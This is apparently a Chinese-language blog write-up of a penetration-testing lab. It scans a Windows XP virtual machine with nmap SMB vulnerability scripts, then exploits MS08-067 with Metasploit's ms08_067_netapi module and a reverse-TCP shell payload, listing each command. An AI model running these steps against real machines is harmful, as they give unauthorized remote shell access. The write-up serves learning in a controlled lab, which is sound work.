一、上文總結
上篇當中主要通過開啟的端口對目標主機進行攻擊,最后成功做到了連接不過卻不能查看到telnet的登陸用戶名和密碼,目前來看有兩個原因:第一、我對於靶機telnet的設置有問題,沒有設置相應的用戶名和密碼,沒有查到具體的設置方法,但是打開服務之后就應當是登陸用戶的用戶名和密碼,所以對此原因存疑。二、Metasploit的使用哪里不對,不過我使用的已經是更新之后的最新版本了,不知道是不是哪里的破解算法用的不對,如果查到具體原因,接下來還會更新上來和大家分享。
今天主要和大家介紹一個好玩的通過系統漏洞進行攻擊的方法
二、漏洞的檢測
首先說明一點本次實驗當中使用的攻擊機與靶機操作系統與上篇中相同。
本次做的滲透攻擊測試是基於xp系統漏洞的攻擊,因此首要的步驟是進行漏洞掃描,這里我選用的工具是nmap對靶機進行漏洞掃描,最開始我找到的漏洞掃描語句是:nmap -sS -sV -O --script=smb-check-vulns.nse -n XP IP。但是當我進行掃描之后報錯:/usr/bin/../share/nmap/nse_main.lua:801: ‘smb-check-vulns.nse’ did not match a category, filename, or directory。這是因為從NMAP 6.49beta6開始,smb-check-vulns.nse腳本被取消了。它被分為smb-vuln-conficker、?smb-vuln-cve2009-3103、smb-vuln-ms06-025、smb-vuln-ms07-029、smb-vuln-regsvc-dos、smb-vuln-ms08-067這六個腳本。用戶根據需要選擇對應的腳本。如果不確定執行哪一個,可以使用smb-vuln-*.nse來指定所有的腳本文件,進行全掃描。所以我使用的語句為:nmap -v -p139,445 --script=smb-vuln-*.nse --script-args=unsafe=1 XP IP -Pn。大家可以根據自己相應的nmap版本確定自己需要執行的指令。
掃描結果如下圖所示:
從上圖中可以看到當前的windows中存在兩個安全漏洞分別是MS08-067和MS7-010,本次實驗主要針對MS08-067進行漏洞的破解研究。
三、漏洞攻擊
1.知道漏洞名稱之后首先需要了解應該啟動什么模塊才能對相應的漏洞進行攻擊,因此打開msfconsole進行相關搜索,通過search ms08_067語句,會顯示出找到的滲透模塊,如下圖所示:
2.按提示輸入命令use exploit/windows/smb/ms08_067_netapi,進入該漏洞模塊的使用。
3.接着輸入命令show payload會顯示出有效的攻擊載荷,如下圖所示,我們找到一個shell_reverse_tcp。
4.使用命令set payload generic/shell_reverse_tcp設置攻擊有效載荷。
5.使用命令”set LHOST "kali Ip" “set RHOST "Win xp Ip"分別設置攻擊機IP與靶機IP地址
6.接着通過命令show options查看payload狀態是否正確
可以看到所有的內容全部正確設置
7.最后通過exploit命令完成呢
可以看到攻擊之后成功的打開了靶機的shell命令行,並且通過ipconfig命令,進一步確定攻擊成功,ip地址就是對應靶機的IP地址。
四、實驗總結
本次使用Metasploit進行了兩類的滲透攻擊測試,分別是基於打開端口的攻擊和基於系統漏洞的攻擊,端口的攻擊雖然沒有完全的完成攻擊但是還是做到了連接,而漏洞攻擊則是成功的實現了攻擊。Metasploit的攻擊主要還是基於系統端口的,即使是漏洞攻擊也需要用到445端口才能實現對漏洞的攻擊,而nmap真的是一個非常重要的工具,通過它可以確定靶機開啟的端口。不過通過幾次攻擊掃描的實驗也讓我有了一個懷疑,因為無論是基於端口還是基於漏洞的攻擊都需要靶機的防火牆關閉才行,感覺實際意義有點低,畢竟像靶機這樣不設防的計算機基本是不存在的,所以希望通過接下來的學習可以了解到更好的滲透攻擊技術。